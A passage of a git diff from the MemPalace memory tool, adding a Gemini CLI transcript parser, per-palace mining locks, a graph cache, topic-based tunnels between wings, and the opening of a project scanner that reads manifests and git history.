|
||||
The PID file (``~/.mempalace/hook_state/mine.pid``, written by the
|
||||
hook in :func:`mempalace.hooks_cli._spawn_mine`) tracks the PID of
|
||||
the most recently spawned mine subprocess so the hook can dedup
|
||||
concurrent auto-ingest fires. When that subprocess exits — cleanly,
|
||||
on error, or via Ctrl-C — it should remove its own entry so the
|
||||
next hook fire isn't briefly fooled by a stale PID before
|
||||
``_pid_alive`` returns False.
|
||||
|
||||
We only delete the file if it claims our own PID; any other PID is
|
||||
left alone (could be an unrelated mine running concurrently from
|
||||
a different worktree / session).
|
||||
"""
|
||||
try:
|
||||
from .hooks_cli import _MINE_PID_FILE
|
||||
except Exception:
|
||||
return
|
||||
try:
|
||||
if not _MINE_PID_FILE.exists():
|
||||
return
|
||||
recorded = _MINE_PID_FILE.read_text().strip()
|
||||
if recorded and recorded.isdigit() and int(recorded) == os.getpid():
|
||||
_MINE_PID_FILE.unlink()
|
||||
except OSError:
|
||||
# Best-effort cleanup; never fail the mine over PID bookkeeping.
|
||||
pass
|
||||
|
||||
|
||||
def _compute_topic_tunnels_for_wing(wing: str) -> int:
|
||||
"""Drop tunnels between ``wing`` and every other wing that shares
|
||||
confirmed topics, honoring the ``topic_tunnel_min_count`` config knob.
|
||||
|
||||
Returns the number of tunnels created or refreshed. Zero means no
|
||||
overlap found (or the registry has no ``topics_by_wing`` map yet).
|
||||
"""
|
||||
from .config import MempalaceConfig
|
||||
from .palace_graph import topic_tunnels_for_wing
|
||||
|
||||
topics_map = get_topics_by_wing()
|
||||
if not topics_map or wing not in topics_map:
|
||||
return 0
|
||||
cfg = MempalaceConfig()
|
||||
min_count = cfg.topic_tunnel_min_count
|
||||
created = topic_tunnels_for_wing(wing, topics_map, min_count=min_count)
|
||||
return len(created)
|
||||
|
||||
|
||||
# =============================================================================
|
||||
@@ -847,18 +1237,24 @@ def status(palace_path: str):
|
||||
print(" Run: mempalace init <dir> then mempalace mine <dir>")
|
||||
return
|
||||
|
||||
# Count by wing and room
|
||||
# Count by wing and room — paginate to avoid SQLite "too many SQL
|
||||
# variables" error on large palaces (see #802, #850).
|
||||
total = col.count()
|
||||
r = col.get(limit=total, include=["metadatas"]) if total else {"metadatas": []}
|
||||
metas = r["metadatas"]
|
||||
|
||||
wing_rooms = defaultdict(lambda: defaultdict(int))
|
||||
for m in metas:
|
||||
m = m or {}
|
||||
wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
|
||||
wing_rooms: dict = defaultdict(lambda: defaultdict(int))
|
||||
batch_size = 5000
|
||||
offset = 0
|
||||
while offset < total:
|
||||
r = col.get(limit=batch_size, offset=offset, include=["metadatas"])
|
||||
batch = r["metadatas"]
|
||||
if not batch:
|
||||
break
|
||||
for m in batch:
|
||||
m = m or {}
|
||||
wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
|
||||
offset += len(batch)
|
||||
|
||||
print(f"\n{'=' * 55}")
|
||||
print(f" MemPalace Status — {len(metas)} drawers")
|
||||
print(f" MemPalace Status — {total} drawers")
|
||||
print(f"{'=' * 55}\n")
|
||||
for wing, rooms in sorted(wing_rooms.items()):
|
||||
print(f" WING: {wing}")
|
||||
|
||||
@@ -8,6 +8,7 @@ Supported:
|
||||
- ChatGPT conversations.json
|
||||
- Claude Code JSONL (with tool_use/tool_result block capture)
|
||||
- OpenAI Codex CLI JSONL
|
||||
- Gemini CLI JSONL (~/.gemini/tmp/<project_hash>/chats/session-*.jsonl)
|
||||
- Slack JSON export
|
||||
- Plain text (pass through for paragraph chunking)
|
||||
|
||||
@@ -157,6 +158,10 @@ def _try_normalize_json(content: str) -> Optional[str]:
|
||||
if normalized:
|
||||
return normalized
|
||||
|
||||
normalized = _try_gemini_jsonl(content)
|
||||
if normalized:
|
||||
return normalized
|
||||
|
||||
try:
|
||||
data = json.loads(content)
|
||||
except json.JSONDecodeError:
|
||||
@@ -280,6 +285,74 @@ def _try_codex_jsonl(content: str) -> Optional[str]:
|
||||
return None
|
||||
|
||||
|
||||
def _try_gemini_jsonl(content: str) -> Optional[str]:
|
||||
"""Gemini CLI sessions (~/.gemini/tmp/<project_hash>/chats/session-*.jsonl).
|
||||
|
||||
Schema (per google-gemini/gemini-cli#15292): a session_metadata record
|
||||
on the first line, then a stream of ``{"type": "user", "content":
|
||||
[{"text": "..."}]}`` and ``{"type": "gemini", "content": [...]}``
|
||||
records, with optional ``message_update`` records carrying token
|
||||
counts only.
|
||||
|
||||
Detection requires a ``session_metadata`` record so this parser does
|
||||
not false-positive against Claude Code or Codex JSONL passed through
|
||||
the dispatch chain. Any ``user``/``gemini`` lines that appear before
|
||||
``session_metadata`` are discarded — they are treated as preamble
|
||||
noise, not conversational turns. ``message_update`` entries are
|
||||
skipped — they have no message text. Multiple text blocks within a
|
||||
single message's content array are concatenated in order, separated
|
||||
by newlines.
|
||||
"""
|
||||
lines = [line.strip() for line in content.strip().split("\n") if line.strip()]
|
||||
messages = []
|
||||
has_session_metadata = False
|
||||
for line in lines:
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
|
||||
entry_type = entry.get("type", "")
|
||||
if entry_type == "session_metadata":
|
||||
has_session_metadata = True
|
||||
continue
|
||||
|
||||
# Discard everything (including user/gemini turns) until the
|
||||
# session_metadata sentinel has been seen.
|
||||
if not has_session_metadata:
|
||||
continue
|
||||
|
||||
if entry_type not in ("user", "gemini"):
|
||||
# Skips message_update, system events, anything else.
|
||||
continue
|
||||
|
||||
content_blocks = entry.get("content", [])
|
||||
if not isinstance(content_blocks, list):
|
||||
continue
|
||||
|
||||
parts = []
|
||||
for block in content_blocks:
|
||||
if not isinstance(block, dict):
|
||||
continue
|
||||
text = block.get("text", "")
|
||||
if isinstance(text, str) and text.strip():
|
||||
parts.append(text)
|
||||
if not parts:
|
||||
continue
|
||||
joined = "\n".join(parts)
|
||||
|
||||
if entry_type == "user":
|
||||
messages.append(("user", joined))
|
||||
else: # "gemini"
|
||||
messages.append(("assistant", joined))
|
||||
|
||||
if len(messages) >= 2 and has_session_metadata:
|
||||
return _messages_to_transcript(messages)
|
||||
return None
|
||||
|
||||
|
||||
def _try_claude_ai_json(data) -> Optional[str]:
|
||||
"""Claude.ai JSON export: flat messages list or privacy export with chat_messages."""
|
||||
if isinstance(data, dict):
|
||||
|
||||
@@ -310,6 +310,88 @@ def mine_lock(source_file: str):
|
||||
lf.close()
|
||||
|
||||
|
||||
class MineAlreadyRunning(RuntimeError):
|
||||
"""Raised when another `mempalace mine` already holds the per-palace lock."""
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
def mine_palace_lock(palace_path: str):
|
||||
"""Per-palace non-blocking lock around the full `mine` pipeline.
|
||||
|
||||
The per-file `mine_lock` only protects delete+insert interleave for a
|
||||
single source; it does not prevent N copies of `mempalace mine <dir>`
|
||||
from being spawned concurrently by hooks. When that happens, each copy
|
||||
drives ChromaDB HNSW inserts in parallel against the same palace,
|
||||
which (combined with chromadb's multi-threaded ParallelFor) can
|
||||
corrupt the HNSW graph and produce sparse link_lists.bin blowups.
|
||||
|
||||
The lock file is keyed by sha256(palace_path) so mines against
|
||||
*different* palaces can still run in parallel — we only serialize
|
||||
writes into the same palace, which is the correctness boundary.
|
||||
|
||||
The key is derived from a fully normalized form of the path:
|
||||
`realpath` resolves symlinks and `..` segments, and `normcase` folds
|
||||
case on Windows (which has a case-insensitive filesystem). Without
|
||||
normcase, `C:\\Palace` and `c:\\palace` would hash to different keys
|
||||
on Windows and let two concurrent mines touch the same on-disk palace.
|
||||
|
||||
Non-blocking: if another `mine` is already writing to this palace,
|
||||
raise MineAlreadyRunning so the caller can exit cleanly instead of
|
||||
piling up as a waiting worker.
|
||||
"""
|
||||
lock_dir = os.path.join(os.path.expanduser("~"), ".mempalace", "locks")
|
||||
os.makedirs(lock_dir, exist_ok=True)
|
||||
resolved = os.path.realpath(os.path.expanduser(palace_path))
|
||||
lock_key_source = os.path.normcase(resolved)
|
||||
palace_key = hashlib.sha256(lock_key_source.encode()).hexdigest()[:16]
|
||||
lock_path = os.path.join(lock_dir, f"mine_palace_{palace_key}.lock")
|
||||
|
||||
lf = open(lock_path, "w")
|
||||
acquired = False
|
||||
try:
|
||||
if os.name == "nt":
|
||||
import msvcrt
|
||||
|
||||
try:
|
||||
msvcrt.locking(lf.fileno(), msvcrt.LK_NBLCK, 1)
|
||||
acquired = True
|
||||
except OSError as exc:
|
||||
raise MineAlreadyRunning(
|
||||
f"another `mempalace mine` is already running against {resolved}"
|
||||
) from exc
|
||||
else:
|
||||
import fcntl
|
||||
|
||||
try:
|
||||
fcntl.flock(lf, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
acquired = True
|
||||
except BlockingIOError as exc:
|
||||
raise MineAlreadyRunning(
|
||||
f"another `mempalace mine` is already running against {resolved}"
|
||||
) from exc
|
||||
yield
|
||||
finally:
|
||||
if acquired:
|
||||
try:
|
||||
if os.name == "nt":
|
||||
import msvcrt
|
||||
|
||||
msvcrt.locking(lf.fileno(), msvcrt.LK_UNLCK, 1)
|
||||
else:
|
||||
import fcntl
|
||||
|
||||
fcntl.flock(lf, fcntl.LOCK_UN)
|
||||
except Exception:
|
||||
pass
|
||||
lf.close()
|
||||
|
||||
|
||||
# Backward-compatible alias (previous patch iteration used a single global
|
||||
# lock). Kept so third-party callers that imported it continue to work; new
|
||||
# code should use `mine_palace_lock(palace_path)` for per-palace scoping.
|
||||
mine_global_lock = mine_palace_lock
|
||||
|
||||
|
||||
def file_already_mined(collection, source_file: str, check_mtime: bool = False) -> bool:
|
||||
"""Check if a file has already been filed in the palace.
|
||||
|
||||
|
||||
+288
-8
@@ -15,16 +15,60 @@ Enables queries like:
|
||||
No external graph DB needed — built from ChromaDB metadata.
|
||||
"""
|
||||
|
||||
# PEP 604 (``str | None``) needs 3.10+ at runtime; the project still
|
||||
# supports 3.9, so defer annotation evaluation to keep the union syntax
|
||||
# working on the older interpreter.
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from collections import Counter, defaultdict
|
||||
from datetime import datetime, timezone
|
||||
|
||||
from .config import MempalaceConfig
|
||||
from .config import MempalaceConfig, normalize_wing_name
|
||||
from .palace import get_collection as _get_palace_collection
|
||||
from .palace import mine_lock
|
||||
|
||||
logger = logging.getLogger("mempalace_graph")
|
||||
|
||||
|
||||
def _normalize_wing(wing: str | None) -> str | None:
|
||||
"""Normalize a wing name for consistent lookup.
|
||||
|
||||
``init`` stores wing names with hyphens and spaces replaced by underscores
|
||||
(e.g. ``mempalace_public``). Callers that pass the raw directory name
|
||||
(``mempalace-public``) would silently miss. This helper aligns the lookup
|
||||
key with the stored metadata.
|
||||
"""
|
||||
if wing is None:
|
||||
return None
|
||||
wing = wing.strip()
|
||||
if not wing:
|
||||
return None
|
||||
return normalize_wing_name(wing)
|
||||
|
||||
|
||||
# Module-level graph cache with TTL and write-invalidation.
|
||||
# Warm cache serves build_graph() in O(1); invalidate_graph_cache() clears on writes.
|
||||
_graph_cache_lock = threading.Lock()
|
||||
_graph_cache_nodes = None
|
||||
_graph_cache_edges = None
|
||||
_graph_cache_time = 0.0
|
||||
_GRAPH_CACHE_TTL = 60.0 # seconds — graph changes less often than metadata
|
||||
|
||||
|
||||
def invalidate_graph_cache():
|
||||
"""Clear the graph cache. Called from mcp_server.py on writes."""
|
||||
global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
|
||||
with _graph_cache_lock:
|
||||
_graph_cache_nodes = None
|
||||
_graph_cache_edges = None
|
||||
_graph_cache_time = 0.0
|
||||
|
||||
|
||||
def _get_collection(config=None):
|
||||
config = config or MempalaceConfig()
|
||||
@@ -42,10 +86,25 @@ def build_graph(col=None, config=None):
|
||||
"""
|
||||
Build the palace graph from ChromaDB metadata.
|
||||
|
||||
Returns cached result if fresh (within TTL). Cache is invalidated
|
||||
on writes via invalidate_graph_cache(). Thread-safe via _graph_cache_lock.
|
||||
|
||||
Note: warm cache ignores ``col`` and ``config`` arguments — this is
|
||||
intentional for the MCP server's single-palace use case. Callers
|
||||
switching collections should call ``invalidate_graph_cache()`` first.
|
||||
|
||||
Returns:
|
||||
nodes: dict of {room: {wings: set, halls: set, count: int}}
|
||||
edges: list of {room, wing_a, wing_b, hall} — one per tunnel crossing
|
||||
"""
|
||||
global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
|
||||
now = time.time()
|
||||
# NOTE: warm cache ignores col/config args — intentional for the MCP server's
|
||||
# single-palace use case. Callers switching collections must invalidate first.
|
||||
with _graph_cache_lock:
|
||||
if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL:
|
||||
return _graph_cache_nodes, _graph_cache_edges
|
||||
|
||||
if col is None:
|
||||
col = _get_collection(config)
|
||||
if not col:
|
||||
@@ -58,6 +117,16 @@ def build_graph(col=None, config=None):
|
||||
while offset < total:
|
||||
batch = col.get(limit=1000, offset=offset, include=["metadatas"])
|
||||
for meta in batch["metadatas"]:
|
||||
# ChromaDB can return ``None`` for drawers without metadata
|
||||
# (legacy data, partial writes — upstream #1020 territory).
|
||||
# Skip these silently rather than crash the whole graph
|
||||
# build — a single None drawer shouldn't take down /stats
|
||||
# or any caller of build_graph for the entire palace. Caught
|
||||
# 2026-04-25 by palace-daemon's verify-routes.sh smoke test
|
||||
# against the canonical 151K palace. Closes the same gap as
|
||||
# upstream #999 / fork PR #1094 in a different read path.
|
||||
if meta is None:
|
||||
continue
|
||||
room = meta.get("room", "")
|
||||
wing = meta.get("wing", "")
|
||||
hall = meta.get("hall", "")
|
||||
@@ -101,6 +170,14 @@ def build_graph(col=None, config=None):
|
||||
"dates": sorted(data["dates"])[-5:] if data["dates"] else [],
|
||||
}
|
||||
|
||||
# Only cache non-empty graphs so new data is picked up immediately
|
||||
# when the palace is first populated.
|
||||
if nodes:
|
||||
with _graph_cache_lock:
|
||||
_graph_cache_nodes = nodes
|
||||
_graph_cache_edges = edges
|
||||
_graph_cache_time = time.time()
|
||||
|
||||
return nodes, edges
|
||||
|
||||
|
||||
@@ -173,15 +250,18 @@ def find_tunnels(wing_a: str = None, wing_b: str = None, col=None, config=None):
|
||||
"""
|
||||
nodes, edges = build_graph(col, config)
|
||||
|
||||
norm_a = _normalize_wing(wing_a)
|
||||
norm_b = _normalize_wing(wing_b)
|
||||
|
||||
tunnels = []
|
||||
for room, data in nodes.items():
|
||||
wings = data["wings"]
|
||||
if len(wings) < 2:
|
||||
continue
|
||||
|
||||
if wing_a and wing_a not in wings:
|
||||
if norm_a and norm_a not in wings:
|
||||
continue
|
||||
if wing_b and wing_b not in wings:
|
||||
if norm_b and norm_b not in wings:
|
||||
continue
|
||||
|
||||
tunnels.append(
|
||||
@@ -194,6 +274,15 @@ def find_tunnels(wing_a: str = None, wing_b: str = None, col=None, config=None):
|
||||
}
|
||||
)
|
||||
|
||||
if not tunnels and (wing_a or wing_b):
|
||||
logger.warning(
|
||||
"No tunnels found for wing filter(s): wing_a=%r (normalized=%r), wing_b=%r (normalized=%r)",
|
||||
wing_a,
|
||||
norm_a,
|
||||
wing_b,
|
||||
norm_b,
|
||||
)
|
||||
|
||||
tunnels.sort(key=lambda x: -x["count"])
|
||||
return tunnels[:50]
|
||||
|
||||
@@ -271,8 +360,20 @@ def _save_tunnels(tunnels):
|
||||
Writes to ``tunnels.json.tmp`` then ``os.replace``s it into place, so
|
||||
a crash mid-write can never leave a partial/empty tunnels.json that
|
||||
silently wipes every tunnel on next read.
|
||||
|
||||
Also restricts the parent directory to 0o700 and the file to 0o600 —
|
||||
tunnels reveal cross-wing connections (which projects/people/rooms
|
||||
the user has explicitly linked) and should not be world-readable on
|
||||
shared Linux/multi-user systems. Matches the file-permission pattern
|
||||
established by #814 for the other sensitive palace files.
|
||||
"""
|
||||
os.makedirs(os.path.dirname(_TUNNEL_FILE), exist_ok=True)
|
||||
parent = os.path.dirname(_TUNNEL_FILE)
|
||||
os.makedirs(parent, exist_ok=True)
|
||||
try:
|
||||
os.chmod(parent, 0o700)
|
||||
except (OSError, NotImplementedError):
|
||||
# Windows / unsupported filesystems — tolerate.
|
||||
pass
|
||||
tmp_path = _TUNNEL_FILE + ".tmp"
|
||||
with open(tmp_path, "w", encoding="utf-8") as f:
|
||||
json.dump(tunnels, f, indent=2)
|
||||
@@ -283,6 +384,10 @@ def _save_tunnels(tunnels):
|
||||
# Not all filesystems (or Windows file handles) support fsync — tolerate.
|
||||
pass
|
||||
os.replace(tmp_path, _TUNNEL_FILE)
|
||||
try:
|
||||
os.chmod(_TUNNEL_FILE, 0o600)
|
||||
except (OSError, NotImplementedError):
|
||||
pass
|
||||
|
||||
|
||||
def _endpoint_key(wing: str, room: str) -> str:
|
||||
@@ -320,6 +425,7 @@ def create_tunnel(
|
||||
label: str = "",
|
||||
source_drawer_id: str = None,
|
||||
target_drawer_id: str = None,
|
||||
kind: str = "explicit",
|
||||
):
|
||||
"""Create an explicit (symmetric) tunnel between two locations in the palace.
|
||||
|
||||
@@ -340,6 +446,11 @@ def create_tunnel(
|
||||
label: Description of the connection.
|
||||
source_drawer_id: Optional specific drawer ID.
|
||||
target_drawer_id: Optional specific drawer ID.
|
||||
kind: Tunnel category — ``"explicit"`` (default, user-created link
|
||||
between real rooms) or ``"topic"`` (auto-generated cross-wing
|
||||
topical link where rooms are synthetic ``topic:<name>``
|
||||
identifiers). Preserved on the stored dict so readers can
|
||||
distinguish real-room traversals from topic connections.
|
||||
|
||||
Returns:
|
||||
The stored tunnel dict.
|
||||
@@ -352,6 +463,9 @@ def create_tunnel(
|
||||
target_wing = _require_name(target_wing, "target_wing")
|
||||
target_room = _require_name(target_room, "target_room")
|
||||
|
||||
source_wing = _normalize_wing(source_wing)
|
||||
target_wing = _normalize_wing(target_wing)
|
||||
|
||||
tunnel_id = _canonical_tunnel_id(source_wing, source_room, target_wing, target_room)
|
||||
|
||||
tunnel = {
|
||||
@@ -359,6 +473,7 @@ def create_tunnel(
|
||||
"source": {"wing": source_wing, "room": source_room},
|
||||
"target": {"wing": target_wing, "room": target_room},
|
||||
"label": label,
|
||||
"kind": kind,
|
||||
"created_at": datetime.now(timezone.utc).isoformat(),
|
||||
}
|
||||
if source_drawer_id:
|
||||
@@ -391,9 +506,14 @@ def list_tunnels(wing: str = None):
|
||||
Returns tunnels where ``wing`` appears as either source or target
|
||||
(tunnels are symmetric, so either endpoint is a valid filter match).
|
||||
"""
|
||||
norm_wing = _normalize_wing(wing)
|
||||
tunnels = _load_tunnels()
|
||||
if wing:
|
||||
tunnels = [t for t in tunnels if t["source"]["wing"] == wing or t["target"]["wing"] == wing]
|
||||
if norm_wing:
|
||||
tunnels = [
|
||||
t
|
||||
for t in tunnels
|
||||
if t["source"]["wing"] == norm_wing or t["target"]["wing"] == norm_wing
|
||||
]
|
||||
return tunnels
|
||||
|
||||
|
||||
@@ -412,6 +532,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
|
||||
Given a location (wing/room), finds all tunnels leading from or to it,
|
||||
and optionally fetches the connected drawer content.
|
||||
"""
|
||||
norm_wing = _normalize_wing(wing) or wing
|
||||
tunnels = _load_tunnels()
|
||||
connections = []
|
||||
|
||||
@@ -419,7 +540,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
|
||||
src = t["source"]
|
||||
tgt = t["target"]
|
||||
|
||||
if src["wing"] == wing and src["room"] == room:
|
||||
if src["wing"] == norm_wing and src["room"] == room:
|
||||
connections.append(
|
||||
{
|
||||
"direction": "outgoing",
|
||||
@@ -430,7 +551,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
|
||||
"tunnel_id": t["id"],
|
||||
}
|
||||
)
|
||||
elif tgt["wing"] == wing and tgt["room"] == room:
|
||||
elif tgt["wing"] == norm_wing and tgt["room"] == room:
|
||||
connections.append(
|
||||
{
|
||||
"direction": "incoming",
|
||||
@@ -442,6 +563,9 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
|
||||
}
|
||||
)
|
||||
|
||||
if not connections:
|
||||
logger.warning("No explicit tunnels found for %s/%s", wing, room)
|
||||
|
||||
# If we have a collection, fetch drawer content for connected items
|
||||
if col and connections:
|
||||
drawer_ids = [c["drawer_id"] for c in connections if c.get("drawer_id")]
|
||||
@@ -457,3 +581,159 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
|
||||
pass
|
||||
|
||||
return connections
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# TOPIC TUNNELS — auto-link wings that share confirmed TOPIC labels
|
||||
# =============================================================================
|
||||
# When two wings have one or more confirmed topics in common (e.g. both
|
||||
# discuss "Angular" or "OpenAPI"), drop a symmetric tunnel between them.
|
||||
# Topics come from the LLM-refined ``TOPIC`` bucket in the per-project
|
||||
# ``entities.json`` and are persisted by wing in
|
||||
# ``~/.mempalace/known_entities.json`` under ``topics_by_wing``.
|
||||
#
|
||||
# Tunnels are created via the existing ``create_tunnel`` API so they share
|
||||
# storage and dedup with explicit tunnels. The room is a synthetic
|
||||
# ``topic:<original-casing>`` identifier — the ``topic:`` prefix namespaces
|
||||
# these tunnels away from literal folder-derived rooms so a wing with an
|
||||
# auto-detected "Angular" folder room and a "shared topic: Angular" tunnel
|
||||
# remain distinct at ``follow_tunnels`` / ``list_tunnels`` time. The prefix
|
||||
# is also visible to any LLM scanning the tunnel list. The ``kind: "topic"``
|
||||
# field on the stored dict gives callers a machine-readable discriminator.
|
||||
|
||||
TOPIC_ROOM_PREFIX = "topic:"
|
||||
|
||||
|
||||
def _normalize_topic(name: str) -> str:
|
||||
"""Lowercase + strip topics for case-insensitive overlap detection."""
|
||||
return str(name).strip().lower()
|
||||
|
||||
|
||||
def topic_room(name: str) -> str:
|
||||
"""Return the synthetic room identifier for a topic tunnel.
|
||||
|
||||
Prefixing avoids collisions with literal folder-derived rooms of the
|
||||
same name (e.g. a wing that has both an "Angular" folder room and an
|
||||
"Angular" topic tunnel).
|
||||
"""
|
||||
return f"{TOPIC_ROOM_PREFIX}{name}"
|
||||
|
||||
|
||||
def compute_topic_tunnels(
|
||||
topics_by_wing: dict,
|
||||
min_count: int = 1,
|
||||
label_prefix: str = "shared topic",
|
||||
) -> list[dict]:
|
||||
"""Create tunnels for every pair of wings that share >= ``min_count`` topics.
|
||||
|
||||
Args:
|
||||
topics_by_wing: ``{wing_name: [topic_name, ...]}`` mapping. Topic
|
||||
names are compared case-insensitively; the first observed
|
||||
casing is used for the tunnel room name.
|
||||
min_count: minimum number of overlapping topics required to drop
|
||||
any tunnel between a wing pair. ``1`` means a single shared
|
||||
topic is enough; bumping to e.g. ``2`` requires multiple
|
||||
overlaps and filters out coincidental single-topic links.
|
||||
label_prefix: human-readable string prefixed to the tunnel label.
|
||||
|
||||
Returns:
|
||||
List of tunnel dicts as returned by ``create_tunnel`` — one per
|
||||
(wing_a, wing_b, topic) triple that crossed the threshold. A
|
||||
wing-pair below ``min_count`` produces no tunnels at all (not
|
||||
even for its single shared topic).
|
||||
|
||||
No-op semantics:
|
||||
- empty/None ``topics_by_wing`` returns ``[]``.
|
||||
- wings whose topic list is empty are skipped.
|
||||
- ``min_count <= 0`` is clamped to 1.
|
||||
"""
|
||||
if not topics_by_wing:
|
||||
return []
|
||||
|
||||
min_count = max(1, int(min_count))
|
||||
|
||||
# Build a normalized-topic -> first-seen casing map per wing so we
|
||||
# preserve display casing while still doing case-insensitive overlap.
|
||||
wing_topics: dict[str, dict[str, str]] = {}
|
||||
for wing, names in topics_by_wing.items():
|
||||
if not isinstance(wing, str) or not wing.strip():
|
||||
continue
|
||||
if not isinstance(names, (list, tuple)):
|
||||
continue
|
||||
bucket: dict[str, str] = {}
|
||||
for n in names:
|
||||
if not isinstance(n, str):
|
||||
continue
|
||||
key = _normalize_topic(n)
|
||||
if not key:
|
||||
continue
|
||||
bucket.setdefault(key, n.strip())
|
||||
if bucket:
|
||||
wing_topics[wing.strip()] = bucket
|
||||
|
||||
wings = sorted(wing_topics.keys())
|
||||
created: list[dict] = []
|
||||
for i, wa in enumerate(wings):
|
||||
topics_a = wing_topics[wa]
|
||||
for wb in wings[i + 1 :]:
|
||||
topics_b = wing_topics[wb]
|
||||
shared_keys = set(topics_a.keys()) & set(topics_b.keys())
|
||||
if len(shared_keys) < min_count:
|
||||
continue
|
||||
# Stable sort for deterministic tunnel ordering across runs.
|
||||
for key in sorted(shared_keys):
|
||||
# Prefer the casing from whichever wing sorts first — both
|
||||
# are valid; this just keeps the displayed room consistent.
|
||||
topic_name = topics_a[key] if topics_a[key] else topics_b[key]
|
||||
room = topic_room(topic_name)
|
||||
tunnel = create_tunnel(
|
||||
source_wing=wa,
|
||||
source_room=room,
|
||||
target_wing=wb,
|
||||
target_room=room,
|
||||
label=f"{label_prefix}: {topic_name}",
|
||||
kind="topic",
|
||||
)
|
||||
created.append(tunnel)
|
||||
return created
|
||||
|
||||
|
||||
def topic_tunnels_for_wing(
|
||||
wing: str,
|
||||
topics_by_wing: dict,
|
||||
min_count: int = 1,
|
||||
label_prefix: str = "shared topic",
|
||||
) -> list[dict]:
|
||||
"""Compute topic tunnels involving a single wing.
|
||||
|
||||
Used by the miner to incrementally update tunnels for the wing that
|
||||
just finished mining without recomputing pairs that don't involve it.
|
||||
Returns the list of tunnels created or refreshed.
|
||||
"""
|
||||
if not topics_by_wing or not isinstance(wing, str) or not wing.strip():
|
||||
return []
|
||||
|
||||
wing = wing.strip()
|
||||
own = topics_by_wing.get(wing)
|
||||
if not isinstance(own, (list, tuple)) or not own:
|
||||
return []
|
||||
|
||||
# Restrict the pair-wise computation to (wing, other) pairs only by
|
||||
# building a 2-wing slice for each other wing. Reusing
|
||||
# ``compute_topic_tunnels`` keeps the threshold and casing logic in
|
||||
# one place.
|
||||
created: list[dict] = []
|
||||
for other, other_topics in topics_by_wing.items():
|
||||
if not isinstance(other, str) or not other.strip() or other == wing:
|
||||
continue
|
||||
if not isinstance(other_topics, (list, tuple)) or not other_topics:
|
||||
continue
|
||||
slice_map = {wing: list(own), other: list(other_topics)}
|
||||
created.extend(
|
||||
compute_topic_tunnels(
|
||||
slice_map,
|
||||
min_count=min_count,
|
||||
label_prefix=label_prefix,
|
||||
)
|
||||
)
|
||||
return created
|
||||
|
||||
@@ -0,0 +1,735 @@
|
||||
"""
|
||||
project_scanner.py — Detect projects and people from real signal.
|
||||
|
||||
For a codebase with build manifests or git history, this beats regex-based
|
||||
entity detection by a wide margin: the project's own name is already written
|
||||
down in package.json / pyproject.toml / Cargo.toml / go.mod, and the people
|
||||
who worked on it are in `git log`.
|
||||
|
||||
This module is used as the primary signal in `mempalace init`. The regex
|
||||
detector in entity_detector.py stays as a fallback for prose-only folders
|
||||
(notes, research, writing).
|
||||
|
||||
Public:
|
||||
scan(root) -> (projects, people)
|
||||
to_detected_dict(projects, people) -> {people: [...], projects: [...], uncertain: []}
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
try:
|
||||
import tomllib # Python 3.11+
|
||||
except ImportError: # pragma: no cover
|
||||
try:
|
||||
import tomli as tomllib # Python 3.9/3.10 backport
|
||||
except ImportError:
|
||||
tomllib = None # type: ignore
|
||||
|
||||
|
||||
SKIP_DIRS = {
|
||||
".git",
|
||||
"node_modules",
|
||||
"__pycache__",
|
||||
".venv",
|
||||
"venv",
|
||||
"env",
|
||||
"dist",
|
||||
"build",
|
||||
".next",
|
||||
"coverage",
|
||||
".terraform",
|
||||
"vendor",
|
||||
"target",
|
||||
".mempalace",
|
||||
".cache",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".ruff_cache",
|
||||
}
|
||||
|
||||
MAX_DEPTH = 6
|
||||
MAX_COMMITS_PER_REPO = 1000
|
||||
GIT_TIMEOUT = 10
|
||||
|
||||
|
||||
# ==================== DATACLASSES ====================
|
||||
|
||||
|
||||
@dataclass
|
||||
class ProjectInfo:
|
||||
name: str
|
||||
repo_root: Path
|
||||
manifest: Optional[str] = None
|
||||
has_git: bool = False
|
||||
total_commits: int = 0
|
||||
user_commits: int = 0
|
||||
is_mine: bool = False
|
||||
|
||||
@property
|
||||
def confidence(self) -> float:
|
||||
if self.is_mine:
|
||||
return 0.99
|
||||
if self.has_git and self.total_commits > 0:
|
||||
return 0.7
|
||||
return 0.85 # manifest-only, no git
|
||||
|
||||
def to_signal(self) -> str:
|
||||
parts: list[str] = []
|
||||
if self.manifest:
|
||||
parts.append(self.manifest)
|
||||
if self.has_git:
|
||||
if self.is_mine and self.user_commits:
|
||||
parts.append(f"{self.user_commits} of your commits")
|
||||
elif self.user_commits:
|
||||
parts.append(f"{self.user_commits}/{self.total_commits} yours")
|
||||
else:
|
||||
parts.append(f"{self.total_commits} commits (none by you)")
|
||||
return ", ".join(parts) or "repo"
|
||||
|
||||
|
||||
@dataclass
|
||||
class PersonInfo:
|
||||
name: str
|
||||
total_commits: int = 0
|
||||
emails: set[str] = field(default_factory=set)
|
||||
repos: set[str] = field(default_factory=set)
|
||||
|
||||
@property
|
||||
def confidence(self) -> float:
|
||||
if self.total_commits >= 100 or len(self.repos) >= 3:
|
||||
return 0.99
|
||||
if self.total_commits >= 20:
|
||||
return 0.85
|
||||
return 0.65
|
||||
|
||||
def to_signal(self) -> str:
|
||||
r = len(self.repos)
|
||||
return f"{self.total_commits} commit{'s' if self.total_commits != 1 else ''} across {r} repo{'s' if r != 1 else ''}"
|
||||
|
||||
|
||||
